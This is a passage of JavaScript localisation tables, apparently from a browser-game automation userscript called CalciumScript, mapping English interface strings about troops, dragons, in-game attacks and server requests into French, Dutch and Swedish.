						'Banshee': 'Banshee', /* abbr Wind Troop - Banshee */
						'BatDrg': 'DG', /* abbr Battle Dragon */
						'Conscr': 'Conscr', /* abbr Conscript */
						'DesDrg': 'DrgHelio', /* abbr Sand Dragon */
						'Fang': 'GueAqua', /* abbr Aqua Troop */
						'FGiant': 'GéantGla', /* abbr Frost giant */
						'FireDrg': 'DrgFeu', /* abbr Fire Dragon */
						'FireM': 'Miroir', /* abbr Fire Mirror */
						'ForDrg': 'DrgGaïa', /* abbr Forest Dragon */
						'GrtDrg': 'GrdDrag', /* abbr Great Dragon */
						'Halbrd': 'Halbrd', /* abbr Halberdsman */
						'IceDrg': 'DrgGlace', /* abbr Ice Dragon */
						'Kaiser': 'Kaiser', /* abbr Kaiser */
						'CavDrg': 'DrgMet', /* abbr Dragon métal */
						'LBM': 'Archer', /* abbr Longbowman */
						'Leviathan': 'Levia', /* abbr Artic Leviathan */
						'Harr.': 'Chasseur', /* abbr Harrier */
						'LCannon': 'CanonF', /* abbr Lightning Cannon */
						'Ranger': 'Electro', /* abbr Volt Ranger */
						'ShadStalk': 'Rôdeur', /* abbr Shadow Stalker */
						'Magma': 'Magma', /* abbr Fire Troop - Magmasaurus */
						'Mino': 'Mino', /* abbr Minotaur */
						'Ogre': 'Ogre', /* abbr Stone Troop - Ogre */
						'PackDrg': 'DrgTrans', /* abbr Pack dragons */
						'Ruiner': 'Ravageurs', /* abbr Dimensional Ruiner */
						'Slayer': 'Slayer', /* abbr Dark Slayer */
						'SpctDrg': 'DrgSpct', /* abbr Spectral Dragon */
						'SReaper': 'Fauch', /* abbr Ice Troop - SoulReaper */
						'SSDrg': 'Rapide', /* abbr Swift Strike Dragon */
						'Storm': 'Storm', /* abbr Storm Drakes */
						'StnDrg': 'DrgPier', /* abbr Stone Dragon */
						'Strider': 'Marcheur', /* abbr Sand Troop - Sand striders */
						'SwpDrg': 'SerpMeph', /* abbr Swamp Dragon */
						'Titan': 'Titan', /* abbr Forest Troop - Petrified Titans */
						'Venom': 'Venom', /* abbr Sumpfkröte */
						'WatDrg': 'DrgAqua', /* abbr Water Dragon */
						'WndDrg': 'DrgEol', /* abbr Wind Dragon */
						'Wyrm': 'Wyrm',
						'Defen': 'Golem',
						'Scarab': 'Scarabé',
						'DrgRid': 'Drag',
						/* Missing or wrong Kabam translations */
						'FireDragon': 'Dragon du Feu',
						'WindDragon': 'Dragon Eolien',
						'ajax-req-versions': 'Récupération des versions API supportées',
						'ajax-req-locales': 'Chargement matrice de traductions',
						'ajax-req-manifest': 'Chargement du manifeste',
						'ajax-req-cookie': 'Envoi d\'un cookie pour paramétrage du son',
						'ajax-req-player': 'Données du joueur',
						'ajax-req-cities': 'Données d\'une cité',
						'ajax-req-jobs': 'Récupération des tâches en cours',
						'ajax-req-dragons': 'Récupération des dragons du sanctuaire',
						'ajax-req-alliances': 'Récupération Top 100 alliances',
						'ajax-req-membership': 'Récupération membres de l\'alliance',
						'ajax-req-activity': 'Récupération activité de l\'alliance',
						'ajax-req-map': 'Données carte',
						'ajax-req-tile_at': 'Données carte par coordonnée',
						'ajax-req-building': 'Lancement d\'une construction',
						'ajax-req-research': 'Lancement d\'une recherche',
						'ajax-req-training': 'Lancement d\'une formation',
						'ajax-req-resurrect': 'Lancement d\'une résurrection',
						'ajax-req-canceljob': 'Annulation d\'une tâche',
						'ajax-req-marches': 'Lancement d\'une marche',
						'ajax-req-cancelmarch': 'Annulation/rappel d\'une marche',
						'ajax-req-reports': 'Liste des messages',
						'ajax-req-reports_del': 'Suppression d\'un message',
						'ajax-req-reports_read': 'Lecture d\'un message',
						'ajax-req-message': 'Envoi d\'un message',
						'ajax-req-minigame': 'Récupération liste des lots Fortuna',
						'ajax-req-save_minigame': 'Sélection aléatoire du lot Fortuna',
						'ajax-req-leaderboards': 'Récupération leaderbord',
						'ajax-req-collect': 'Collecte des ressources d\'un outpost',
						'ajax-req-claim': 'Réclamation d\'une mission',
						'ajax-req-defended': 'Passage en défense / caché',
						'ajax-req-defense': 'Mise à jour choix des défenseurs',
						'ajax-req-items': 'Utilisation d\'un objet (accélérateur)',
						'ajax-req-breeding': 'Accouplement des dragons',
						'ajax-req-feeding': 'Amélioration des dragons',
						'ajax-req-dragonHandle': 'Rejeter/Retirer/Equiper un dragon du sanctuaire',
						'ajax-req-customization': 'Équiper un dragon d\'armure et d\'écailles',
                        'ajax-req-trade':'Intéraction avec le commerce',
                        'ajax-req-wilderness':'Intéraction avec les ES',
						'Zzz': 'Zzz'
					};
					break;
                // Dutch  (by Kaas)
				case 'nl':
					TRANSLATION_ARRAY = {
						'</B> and <B>': '</B> en <B>',
						'<B>Attacker\'s move turn</B>': '<B>Beurt van de aanvaller</B>',
						'<B>Attacker\'s attack turn</B>': '<B>Aanvalsbeurt van de aanvaller</B>',
						'<b>Bad request!</b>': '<b>Ongeldige aanvraag</b>',
						'<B>Defender\'s move turn</B>': '<B>Beurt van de verdediger</B>',
						'<B>Defender\'s attack turn</B>': '<B>Aanvalsbeurt van de verdediger</B>',
						'<b>Rate Limit Exceeded</b>, too many requests!': '<b>Limiet Serveraanvragen overschreden</b>',
						'About CalciumScript': 'Over CalciumScript',
						'above the first value': 'boven de eerste waarde',
						'Action Log': 'Actie Log',
						'Actions': 'Acties',
						'Activate Attacks Logs': 'Aanvalslog activeren',
						'Alerts log': 'Alarmlog',
						'All players': 'Alle spelers',
						'All types': 'Alle types',
						'Alliance features': 'Kenmerken van allianties ',
						'Alliances list retrieved': 'Lijst allianties geladen',
						'Alliance members list retrieved': 'Ledenlijst alliantie geladen',
						'Alliance messages': 'Alliantieberichten',
						'and': 'en',
						'Another march request is pending': 'Een ander marsaanvraag is al onderweg',
						'Are you sure you want to delete All Permanent Data': 'Ben je zeker dat je permanente gegevens wil verwijderen',
						'Arrival time': 'Aankomsttijd',
						'at': 'bij',
						' at ': ' bij ',
						' at range': ' in bereik',
						'Attack sent to': 'Aanval verzonden naar',
						'Attack One Target in Multiple waves': 'Aanval van één doel via meerdere Waves',
						'Attacker': 'Aanvaller',
						'Attacking': 'Bezig met aanval',
						'Attacks Configuration': 'Aanvalconfiguratie',
						'Attacks Stats': 'Aanvalstatistieken',
						'Attacks': 'Aanvallen',
						'attempted': 'geprobeerd',
						'attempt for': 'Geprobeerd voor',
						'Auto harvest resources from outposts every': 'Automatisch oogsten van buitenposten elke',
						'Auto refresh info tab data every': 'Autoverversen van Infotab elke',
						'Automatically': 'Automatisch',
						'Automatically recall transport 1 minute before delivery': 'Automatisch terugroepen van transport 1 min voor levering',
						'Available troops': 'Beschikbare troepen',
						'Awaiting task completion notification': 'In afwachtig van klaarmelding',
						'Back at the same time': 'Terug op hetzelfde moment',
						'Backup': 'Backup',
						'Battle': 'Gevecht',
						'Battle calculator': 'Gevechtscalculator',
						'Battle forces': 'Strijdkrachten',
						'Battle log': 'Gevechtslogboek',
						'Battle lost !!': 'Strijd verloren !!',
						'Battle mechanics': 'Strijdleer',
						'Battle won !!': 'Strijd gewonnen !!',
						'Bookmark': 'Bookmark',
						'Bookmarks': 'Bookmarks',
						'Bookmarks Configuration': 'Bookmarks configuratie',
						'Bookmark saved': 'Bookmarks weggeschreven',
						'Building': 'Bezig met bouwen',
						'Busy': 'Bezig',
						'by': 'door',
						'By distance ascending': 'Op afstand oplopend',
						'By distance descending': 'Op afstand aflopend',
						'Cache data': 'Cache gegevens',
						'Calculate': 'Berekenen',
						'Camps/wilds attack reports': 'Athropus strijdbericht',
						'Capital data': 'Kerngegevens',
						'Capital data successfully fetched': 'Kerngegevens geladen',
						'Check sentinel reports every ': 'Controleren van helderziendebericht elke',
						'Check the following great dragons to exclude them from being sent': 'Klik volgende draken zodat ze niet gebruikt worden',
						'Check to use UTC time instead of local time': 'Klik om UTC tijd te gebruiken ipv. locale tijd',
						'Claim': 'Vorderen',
						'Claimed': 'Gevorderd',
						'Claiming quest': 'Quest gevorderd',
						'Clear all': 'Alle verwijderen',
						'Clear all data': 'Alle info verwijderen',
						'Clear last attack on all maps': 'Laatste aanval op alle kaarten verwijderen',
						'Clear last attack on current map': 'Laatste aanval op actuele kaart verwijderen',
						'Clear local storage (internet cache)': 'Opschonen internet cache',
						'Clear log': 'Log verwijderen',
						'Clear Stats': 'Statistieken verwijderen',
						'Collected resources at outpost': 'Verzamelde rijkdommen bij buitenpost',
						'Completing...': 'Bezig met ...',
						'Completion errors': 'Voltooiingsfouten',
						'Config': 'Instelling',
						'Confirmation': 'Bevestiging',
						'Console Log': 'Console Log',
						'Console': 'Console',
						'Coordinates': 'Coordinaten',
						'Coords': 'Coords',
						/*		'Copy troops reported by the sentinel to the battle calculator' : '?????', */
						' damages taken': ' Schade',
						' damages to ': ' Schade aan ',
						'data': 'gegevens',
						'data successfully fetched': 'Het laden van gegevens is geslaagd ',
						'Date range': 'Gegevensbereik',
						' deal ': ' overeenkomst ',
						'Defender': 'Verdediger',
						'Defending': 'Verdedigen',
						'Delay before script startup': 'Vertraging voordat script wordt opgestart',
						'Delay Between Attacks': 'Vertraging tussen aanvalgolven',
						'Delay Between Transports': 'Vertraging tussen transporten',
						'delayed due to': 'vertraging veroorzaakt door,',
						'delayed due to no available generals': 'vertraging omdat generaals niet beschikbaar zijn',
						'delayed due to no available Great Dragon': 'vertraging omdat Grote Draak niet beschikbaar is',
						'delayed due to pending march request': 'vertraging omdat er al een mars is begonnen',
						'Delete now': 'Nu verwijderen',
						'Delete Battle Reports': 'Strijdrapporten verwijderen',
						'Delete messages': 'Berichten verwijderen',
						'Delete messages of this type': 'Berichten van dit type verwijderen',
						'Delete spy reports': 'Spionberichten verwijderen',
						'Detailed search': 'Uitgebreid zoeken',
						'Disable <B>Alliance</B> tab': 'Uitschakelen <B>Alliantie</B> tab',
						'Disable <B>Battle</B> tab': 'Uitschakelen <B>Strijd</B> tab',
						'Disable <B>Bookmarks</B> tab': 'Uitschakelen <B>Bookmarks</B> tab',
						'Disable <B>Multi</B> tab': 'Uitschakelen <B>Multi</B> tab',
						'Disable <B>Search</B> tab': 'Uitschakelen <B>Zoek</B> tab',
						'Disable <B>Spy</B> tab': 'Uitschakelen <B>Spion</B> tab',
						'Disable <B>Wall</B> tab': 'Uitschakelen <B>Muur</B> tab',
						'Disable <B>Wave</B> tab': 'Uitschakelen <B>Wave</B> tab',
						'Disable <B>Log</B> tab': 'Uitschakelen <B>Log</B> tab',
						'Disabled': 'Uitgeschakeld',
						'Display official background image': 'Tonen van officiele achtergrond afbeelding',
						'Dist': 'Afst',
						'Distance must be between': 'Afstand moet zijn tussen',
						'Distance': 'Afstand',
						'Dragon healing': 'Draak genezing',
						'Dragons': 'Draken',
						'Do not show alerts obsolete since': 'Laat geen waarschuwing zien sinds',
						/*		'Do you want to delete existing Permanent Data' : '?????', */
						'Do you want to save in Permanent Data the current script setting': 'Wil je permanente gegevens in actuele script wegschrijven',
						'Do you want to save Map Data in local file': 'Wil je kaartgegevens in lokaal bestand wegschrijven',
						'Do you want to save Permanent Data in local file': 'Wil je permanente gegevens in lokaal bestand wegschrijven',
						'Dutch': 'Nederlands',
						'Edit': 'Wijzigen',
						'Edit bookmark': 'Bookmark wijzigen',
						'Enable': 'Aanzetten',
						/*		'Enable cheat (all troops in all outposts, transport of blue energy)' : 'Cheat aanzetten (alle troepen in alle buitenposten, transport van blauwe energie)', */
						'Enable transport of ': 'Aanzetten van transport van ',
						'Enable use of speed-ups in attacks waves': 'Aanzetten van het gebruik van speed-ups in aanvalWaves',
						'Enable verbose logging': 'Aanzetten van log',
						'Enable window drag': 'Aanzetten van slepen van venster',
						'Enable the sentinel tower': 'Aanzetten van Helderziendetoren',
						'Enabled': 'Aangezet',
						'English': 'Engels',
						'Enemy General': 'Vijandige generaal',
						'Enemy research levels': 'Vijandig onderzoekniveaus',
						'Enter -1 as troop quantity to use the maximum available': 'Vul -1 in als hoeveelheid troepen zodat max. aantal wordt gebruikt',
						'Error': 'Fout',
						'Error while retrieving the list of members': 'Fout bij het ophalen van ledenlijst',
						'Error while setting defense choice': 'Fout bij het selecteren van verdediging',
						'Evol': 'Evol',
						'Except': 'Uitgezonderd',
						'Exception': 'Uitzondering',
						'failed': 'mislukt',
						'failed and returned error': 'mislukt met foutmelding',
						'Fast search': 'Snel zoeken',
						'Features': 'Functies',
						'Fetching': 'Bezig met laden',
						'Fetching Capital data': 'Bezig met ophalen van kerngegevens',
						'Fetching Manifest': 'Bezig met ophalen van Manisfest',
						'Fetching Outpost ': 'Bezig met ophalen van Buitenpost ',
						'Fetching Seed': 'Bezig met ophalen van overige gegevens',
						'Fetching Translation matrix': 'Bezig met ophalen van vertaalmatrix',
						'Fire': 'Vuur',
						'First value must be between': 'Eerste waarde moet liggen tussen',
						'Flash game Auto refresh every': 'Verversen FlashGame elke',
						/*		'Foes' : '?????', */
						'for': 'voor',
						'Force saving current script settings': 'Forceren van wegschrijven van scriptinstellingen',
						'Forum link': 'Forum link',
						'French': 'Frans',
						'Game messages': 'Spelberichten',
						'Game Options': 'Spelopties',
						'GD': 'GD',
						'Generals': 'Generaals',
						'German': 'Duits',
						'Getting basic data...': 'Bezig met ophalen van basisgegevens',
						'Getting cities data...': 'Bezig met ophalen van stadgegevens',
						'Getting game data...': 'Bezig met ophalen van spelgegevens',
						'Got': 'Ontvangen',
						'Great Dragons': 'Grote Draken',
						'About': 'Over',
						'Hide spy alerts': 'Verbergen spionwaarschuwingen',
						'Hiding': 'Verbergen',
						'History': 'Geschiedenis',
						'h': 'u',
						'Ice': 'IJs',
						'Idle': 'Niet aktief',
						'In city': 'In stad',
						'In march': 'Onderweg',
						' in melee': ' bezig met strijd',
						'in progress': 'bezig',
						'Include Great Dragon': 'Grote Draak toevoegen',
						'Initialization': 'Initialisatie',
						'Initializing...': 'Bezig met Initialisatie',
						'Initializing map, auto-collect, ...': 'Initialisatie kaart, Auto-inzamelen , ...',
						'Invalid date From': 'Verkeerde datum van',
						'Invalid date To': 'Verkeerde datum tot',
						'Invalid date range': 'Verkeerde datumreeks',
						'Invalid delays': 'Verkeerde vertraging',
						'Invalid number of troops': 'Verkeerde aantal troepen',
						'Joined': 'Toegevoegd',
						'Keep battle reports of attacks from other players': 'Behoud strijdrapporten van aanvallen van andere spelers',
						'Keep battle reports of my attacks on other players': 'Behoud strijdrapporten van mijn aanvallen met andere spelers',
						' (kill ': ' (dood ',
						'Last attack': 'Laatste aanval',
						'life lost': 'Verloren levens',
						'Loaded': 'Geladen',
						'Loading basic data': 'Laden van algemene gegevens',
						'Locale data was Successfully requested from the server': 'Lokale Data zijn succesvol geladen',
						'Logs': 'Logbestanden',
						'Log': 'Log',
						'Manifest not available, using defaults': 'Manifest niet beschikbaar, gebruikt standaardgegevens',
						'Manifest Successfully initialized': 'Manifest succesvol geinitialiseerd',
						'Manifest was Successfully requested from the server': 'Manifest is succesvol van server opgevraagd',
						'Manual attack sent to': 'Handmatige aanval gestuurd naar',
						'Max level': 'Max niveau',
						'Map Search': 'Zoeken van kaarten',
						'Maximize resource to transport according to max load': 'Maximale middelen voor transporten ivm maximale last',
						'Maximum level reached': 'Maximale niveau bereikt',
						'Maximum simultaneous marches': 'Maximaal aantal gelijktijde marsen',
						'Maximum training queues possible per city, according to available resources': 'Maximaal aantal trainings per stad vergelekeb met beschikbare middelen',
						'Members list ': 'Ledenlijst ',
						'Message(s) deleted': 'Bericht(en) verwijderd',
						'Message(s) deletion in progress': 'Bericht(en)verwijdering aan de gang',
						'miles': 'Mijlen',
						'Min level': 'Min niveau',
						' move to ': ' gaan naar ',
						'Multi': 'Multi',
						'Need': 'Nodig',
						/*		'New version has been installed...' : '?????...', */
						'No Generals Available': 'Geen generaals beschikbaar',
						'No great dragon available': 'Geen Grote Draak beschikbaar',
						'no max': 'Geen maximum',
						'No new version of': 'Geen nieuwe versie van',
						'No resources to transport defined': 'Geen middelen voor transport gedefinieerd',
						'No Troops Defined': 'Geen troepen gedefinieerd',
						'Not ready': 'Niet klaar',
						'of': 'van',
						'Only one training queue per city': 'Slechts één training per stad',
						'Options': 'Opties',
						'Opts': 'Opts',
						'Outpost 1': 'Water buitenpost',
						'Outpost 2': 'Steen Buitenpost',
						'Outpost 3': 'Vuur Buitenpost',
						'Outpost 4': 'Wind Buitenpost',
						'Overview': 'Overzicht',
						'Owner': 'Eigenaar',
						'Play for': 'Spelen voor',
						'Play sound on incoming sentinel report': 'Speel geluid bij in komend Helderziende rapport',
						'Play sound on task completion': 'Speel geluid bij voltooiing van taal',
						'Player cities': 'Steden van speler',
						'Player cities list': 'Stedenlijst van speler',
						'Player data was Successfully requested from the server': 'Spelergegevens succesvol van server aangevraagd',
						'Player messages': 'Berichten van speler',
						'Player name': 'Spelernaam',
						'Please wait...': 'Even geduld...',
						'Preset': 'Standaard instelling',
						'Preset name': 'Standaard naam',
						'Primary attack to ': 'Eerste aanval naar ',
						'Quest': 'Opdracht',
						'Rate Limit Exceeded because there were too many requests': 'Teveel aanvragen voor taken',
						'Read page ': 'Laden van pagina ',
						'Ready': 'Klaar',
						'Recipient': 'Ontvanger',
						'Refresh': 'Verversen',
						'Refresh list': 'Te verversenlijst',
						'Refresh map data': 'Verversen kaart',
						'Refresh selection': 'Keuze verversen',
						'Reinforcement reports': 'Versterkingsrapporten',
						'Reinforcement sent to': 'Versterking zenden naar',
						'Reload': 'Opnieuw laden',
						'Repairing': 'Aan het repareren',
						'Repeat every': 'Herhaal elke',
						'Research Started': 'Onderzoek gestart',
						'Researching': 'Aan het onderzoeken',
						'Reset Stats': 'Reset statistieken',
						'Resources stock levels update failed': 'Verversen van voorraadgegevens mislukt',
						'Resources to transport': 'Middelen voor transport',
						'Restore': 'Terugzetten',
						'Restore script settings from local file': 'Terugzetten van scriptsettings uit bestand',
						'Resurrection': 'Herrijzenis',
						'Resurrect': 'Herrijzen',
						'Retry in': 'Opnieuw proberen in',
						'Reviving': 'Herleving',
						'Role': 'Rol',
						'Rules': 'Regels',
						'Run Time': 'Looptijd',
						'Safe Mode': 'Beveligingswijze',
						'Save current map data in a local file': 'Wegschrijven van aktuele kaartgegevens in lokaal bestand',
						'Save current script settings in a local file': 'Wegschrijven van aktuele scriptgegevens in lokaal bestand',
						'Save preset': 'Wegschrijven standaardgegevens',
						'Scanning map': 'Scannen van kaart op steden',
						'Scanning map for cities/wildernesses': 'Scannen van kaart op steden/wildernissen',
						'Scanning map for wildernesses': 'Scannen van kaart op wildernissen',
						'Script language': 'Scripttaal',
						'Script Options': 'Script Opties',
						'Search coords': 'Zoeken van coördinaten',
						'Search for alliance list': 'Zoeken naar allianties',
						'Search for alliance members': 'Zoeken naar leden van allianties',
						'Search max radius': 'Zoeken naar maximale straal',
						'Search Radius': 'Zoeken naar straal',
						'Second value must be at least': 'Twee waard moet minstens zijn',
						'Seconds': 'Seconden',
						'seconds': 'seconden',
						'Secondary attack to ': 'Tweede aanval naar ',
						'Seed Successfully initialized': 'Seed succesvol geinitialiseerd',
						'Select at least one type of message or report to delete': 'Selecteren tenminste één bericht om te verwijderen',
						'Send reinforcement': 'Versterking sturen',
						'Send transport': 'Transport sturen',
						'Sending reinforcement': 'Bezig met verzenden van versterking',
						'Sending transport': 'Bezig met verzending van transport',
						'Sentinel messages': 'Helderziende berichten',
						'Sentinel tower': 'Helderziendetoren',
						'Set Def': 'Zet verd',
						'Souls': 'Zielen',
						'Sound configuration': 'Geluidsinstelling',
						'Sound file': 'Geluidsbestand',
						'Spanish': 'Spaans',
						'Spectral': 'Spectral',
						'SpectralDragonKeep': 'Sprookruïnedraak',
						'Spies done': 'Aantal bespionneringen',
						'Spies number': 'Aantal spionnen',
						'Spy One Target': 'Eén doel bespionneren',
						'Spy reports': 'Spionberichten',
						'Spy to ': 'Spion naar ',
						'Stars': 'Sterren',
						'Start': 'Begin',
						'Start Date': 'Startdatum',
						'Starting...': 'Beginnen...',
						'Step': 'Stap',
						'Stone': 'Steen',
						'Stop if any troops lost': 'Stoppen in geval van troepverlies',
						'succeeded': 'geslaagd',
						'Successfully initialized': 'Inlezen geslaagd',
						'Successfully': 'Geslaagd',
						'Summary': 'Samenvatting',
						' survivals)': ' overlevenden)',
						/*		'Swamp' : '?????', */
						'Swedish': 'Zweeds',
						'switchDefense OK': 'Omschakelen verdediging OK',
						'Switch defense wall status': 'Omschakelen muurverdediging status',
						'Switching defense': 'Bezig met omschakelen verdediging',
						'Tabs Options': 'Tab Opties',
						'Target': 'Opdrachten',
						'Targets': 'Opdrachten',
						'Task Completed': 'Taak gereed',
						'Tasks': 'Taken',
						'Terrain length set to ': 'Gebiedsgrootte gezet tot ',
						/*		'This should not clear map and alliance data.' : '?????.', */
						'Time': 'Tijd',
						'to': 'naar',
						'To be refreshed': 'Verversen aanzetten',
						'Toggle Flash': 'Flash aan-uitzetten',
						'Tower': 'Toren',
						'Tower configuration': 'Torenconfiguratie',
						'Training Configuration': 'Trainingconfiguratie',
						'Translation Matrix Successfully initialized': 'Vertalingsmatrix met succes ingelezen',
						'Transport reports': 'Transportbericht',
						'Transport sent to': 'Transport verzonden naar',
						'Troops Capped': 'Troepenstop',
						'Troops for Bookmarks Attack': 'Troepen voor Bookmark aanval',
						'Troops for defense': 'Verdedigingstroepen',
						'Troops for Primary Attack': 'Troepen voor eerste aanval',
						'Troops for reinforcement': 'Troepen voor versterking',
						'Troops for Secondary Attacks': 'Troepen voor tweede aanval',
						'Troops for transport': 'Troepen voor transport',
						'Troops for Wave Attack': 'Troepen voor Waveaanval',
						'Troops lost': 'Verloren troepen',
						'Troops max': 'Max. troepen',
						'Troops statistics': 'Statistieken van troepen',
						'Troops statistics for': 'Statistieken van troepen voor',
						'Turned Off': 'Uit',
						'Unlimited': 'Onbeperkt',
						'Unowned only': 'Alleen niet in bezit',
						'Updating City values': 'Stadinstellingen verversen',
						'Use the Levels Tab to select attack areas': 'Gebruik de Level tab om aanvalsgebieden te kiezen',
						'Version update': 'Versie update',
						'Wall management': 'Muurbeheer',
						'Warning': 'Waarschuwing',
						'was returned with a status of': 'teruggekomen met status',
						'Water': 'Water',
						'Wave attack to ': 'Waveaanvaal naar',
						'Wave': 'Wave',
						'Wiki URL': 'Url van Wiki',
						'Wildernesses list': 'Wildernissenlijst',
						'Wind': 'Wind',
						'Without alliance': 'Zonder alliantie',
						'You are': 'Je bent',
						'Yoyo': 'Yoyo',
						'Yoyo functionality': 'Yoyo functie',
						'ATrans': 'GepTrn',
						/* abbr Armored Transport */ 'Banshee': 'Banshee',
						/* abbr Wind Troop - Banshee */ 'BatDrg': 'StrDrk',
						/* abbr Battle Dragon */ 'Conscr': 'Rekr',
						/* abbr Conscript */ 'Fang': 'SnijVis',
						/* abbr Aqua Troop */
						/*		'FGiant' : '?????',	*/
						/* abbr Frost giant */
						'FireDrg': 'VuuDrk',
						/* abbr Fire Dragon */ 'FireM': 'VuuSpi',
						/* abbr Fire Mirror */ 'GrtDrg': 'GD',
						/* abbr Great Dragon */ 'Halbrd': 'HBD',
						/* abbr Halberdsman */ 'IceDrg': 'IJSD',
						/* abbr Ice Dragon */ 'LBM': 'BooS',
						/* abbr Longbowman */ 'LCannon': 'LCannon',
						/* abbr Lightning Cannon */ 'Magma': 'Pyro',
						/* abbr Fire Troop - Magmasaurus */ 'Mino': 'Mino',
						/* abbr Minotaur */ 'Ogre': 'Graniet',
						/* abbr Stone Troop - Ogre */ 'PackDrg': 'TrnDrK',
						/* abbr Pack dragons */ 'SpctDrg': 'SpDrK',
						/* abbr Spectral Dragon */ 'SReaper': 'ZRov',
						/* abbr Ice Troop - SoulReaper */ 'SSDrg': 'SneDrK',
						/* abbr Swift Strike Dragon */ 'StnDrg': 'SteDrK',
						/* abbr Stone Dragon */ 'SwpDrg': 'ZwSlg',
						/* abbr Swamp Dragon */ 'Venom': 'Gif',
						/* abbr Swamp Troop - Venom */ 'WatDrg': 'WatDrK',
						/* abbr Water Dragon */ 'WndDrg': 'WindDrK',
						/* abbr Wind Dragon */ 'CavDrg': 'CavDrg',
						/* abbr Cave Dragon*/ 'LunDrg': 'LunDrg',
						/* abbr Luna Dragon*/
						/* Missing or wrong Kabam translations */
						'FireDragon': 'Vuurdraak',
						'WindDragon': 'Winddraak',
						'ajax-req-versions': 'Getting current API version',
						'ajax-req-locales': 'Loading translation matrix',
						'ajax-req-cookie': 'Set a cookie for sound setup',
						'ajax-req-manifest': 'Loading manifest',
						'ajax-req-player': 'Player data',
						'ajax-req-cities': 'City data',
						'ajax-req-jobs': 'Getting all jobs list',
						'ajax-req-dragons': 'Getting dragons data',
						'ajax-req-alliances': 'Retrieving Alliances Top 100',
						'ajax-req-membership': 'Retrieving Alliance membership',
						'ajax-req-activity': 'Retrieving Alliance activity',
						'ajax-req-map': 'Map data',
						'ajax-req-tile_at': 'Map data for one tile',
						'ajax-req-building': 'Lauching one building',
						'ajax-req-research': 'Lauching one research',
						'ajax-req-training': 'Lauching one training',
						'ajax-req-resurrect': 'Lauching one resurrection',
						'ajax-req-canceljob': 'Cancelling one job',
						'ajax-req-marches': 'Lauching one march',
						'ajax-req-cancelmarch': 'Cancelling/recalling one march',
						'ajax-req-reports': 'Message list',
						'ajax-req-reports_del': 'Deleting one message',
						'ajax-req-reports_read': 'Reading one message',
						'ajax-req-message': 'Sending one message',
						'ajax-req-minigame': 'Getting fortuna prizes list',
						'ajax-req-save_minigame': 'Playing one fortuna\'s grid',
						'ajax-req-leaderboards': 'Getting leaderbords data',
						'ajax-req-collect': 'Collecting resources from one outpost',
						'ajax-req-claim': 'Claiming one quest',
						'ajax-req-defended': 'Setting in defense / in sanctuary',
						'ajax-req-defense': 'Choice of Defense forces',
						'ajax-req-items': 'Using one item (speedups)',
						'ajax-req-breeding': 'Dragons breeding',
						'ajax-req-feeding': 'Dragons feeding',
						'ajax-req-dragonHandle': 'Dismiss/Remove/Equip one dragon',
						'Zzz': 'Zzz'
					};
					break;
                // Swedish  (by Lindström & Toruk & Robert & Evil Eye)
				case 'sv':
					TRANSLATION_ARRAY = {
						'</B> and <B>': '</B> och <B>',
						'<B>Attacker\'s move turn</B>': '<B>Försvara med offensiva enheter</B>',
						'<B>Attacker\'s attack turn</B>': '<B>Attackera med offensiva enheter</B>',
						'<b>Bad request!</b>': '<b>Dålig begäran!</b>',
						'<B>Defender\'s move turn</B>': '<B>Försvara med defensiva enheter</B>',
						'<B>Defender\'s attack turn</B>': '<B>Attackera med defensiva enheter</B>',
						'<b>Rate Limit Exceeded</b>, too many requests!': '<b>Begränsa fråga överstiger</b>, alltför många förfrågningar skickats!',
						'About CalciumScript': 'Om CalciumScript',
						'above the first value': 'över det första värdet',
						'Action Log': 'Händelselogg',
						'Actions': 'Händelser',
						'Activate Attacks Logs': 'Aktivera attackloggning',
						'Alerts log': 'Varning log',
						'All players': 'Alla spelare',
						'All types': 'Alla typer',
						'Alliance features': 'Alliansens funktioner',
						'Alliances list retrieved': 'Allians-listan hämtat',
						'Alliance members list retrieved': 'Förteckning över medlemmar i alliansen återvinns',
						'Alliance messages': 'Allians inlägg',
						'and': 'och',
						'Another march request is pending': 'En annan begäran av marcher är avvaktande',
						'Are you sure you want to delete All Permanent Data': 'Är du säker på att du vill radera all permanent Data',
						'Army presets': 'Armen förinställningar',
						'Arrival time': 'Ankomsttid',
						'at': 'vid',
						' at ': ' hos ',
						' at range': ' på distans',
						'Attack arrival time': 'Attack ankomsttid',
						'Attack forces': 'Attack styrkor',
						'Attack sent to': 'Attack skickad till',
						'Attack One Target in Multiple waves': 'Attackera ett mål I flera vågor',
						'Attacker': 'Anfallare',
						'Attacking': 'Attackerar',
						'Attacks Configuration': 'Konfigurera attacker',
						'Attacks Stats': 'Anfall statistik',
						'Attacks': 'Attacker',
						'attempted': 'försökt',
						'attempt for': 'försök för',
						'Auto harvest resources from outposts every': 'Automatisk insamling av resurser från utpost(erna) varje',
						'Auto refresh info tab data every': 'Auto uppdatering data av fliken info varje',
						'Automatically': 'Automatiskt',
						'Automatically recall transport 1 minute before delivery': 'Automatiskt hämta transport 1 minut före leverans',
						'Available troops': 'Tillgängliga trupper',
						'Awaiting task completion notification': 'Väntar på anmälan om utgången av uppdrag',
						'Back at the same time': 'Tillbaka på samma tid',
						'Backup': 'Backup',
						'Battle': 'Strid',
						'Battle calculator': 'Strids simulator',
						'Battle forces': 'Stridande trupper',
						'Battle log': 'Strids log',
						'Battle lost !!': 'Förlorade strider !!',
						'Battle mechanics': 'Strids mekanism',
						'Battle won !!': 'Vunna strider !!',
						'Bookmark': 'Bokmärke',
						'Bookmarks': 'Bokmärken',
						'Bookmarks Configuration': 'Inställningar för bokmärken',
						'Bookmark saved': 'Bokmärke sparat',
						'Building': 'Konstruktionsförlopp',
						'Busy': 'Upptagen',
						'by': 'av',
						'By distance ascending': 'Med stigande avstånd',
						'By distance descending': 'Med fallande avstånd',
						'Cache data': 'Cache data',
						'Calculate': 'Beräkna',
						'Camps/wilds attack reports': 'Rapporter om läger/vildmarker attack',
						'Capital data': 'Stads data',
						'Capital data successfully fetched': 'Stads data hämtat med framgång',
						'Check sentinel reports every ': 'Kontrollera portvakt rapporter varje ',
						'Check the following great dragons to exclude them from being sent': 'Markera följande drakar som ej ska skickas med i attacker',
						'Check to use UTC time instead of local time': 'Kontrollera för använda UTC-tid i stället för lokal tid',
						'Claim': 'Hävdar',
						'Claimed': 'Hävdade',
						'Claiming quest': 'Skickar förfrågan',
						'Clear all': 'Rensa all',
						'Clear all data': 'Rensa all info',
						'Clear last attack on all maps': 'Rensa senaste attacker på alla kartor',
						'Clear last attack on current map': 'Rensa senaste attacker på aktuella kartan',
						'Clear local storage (internet cache)': 'Radera webbhistorik',
						'Clear log': 'Rensa loggen',
						'Clear Stats': 'Radera stats',
						'Collected resources at outpost': 'Resurser samlas från utpost',
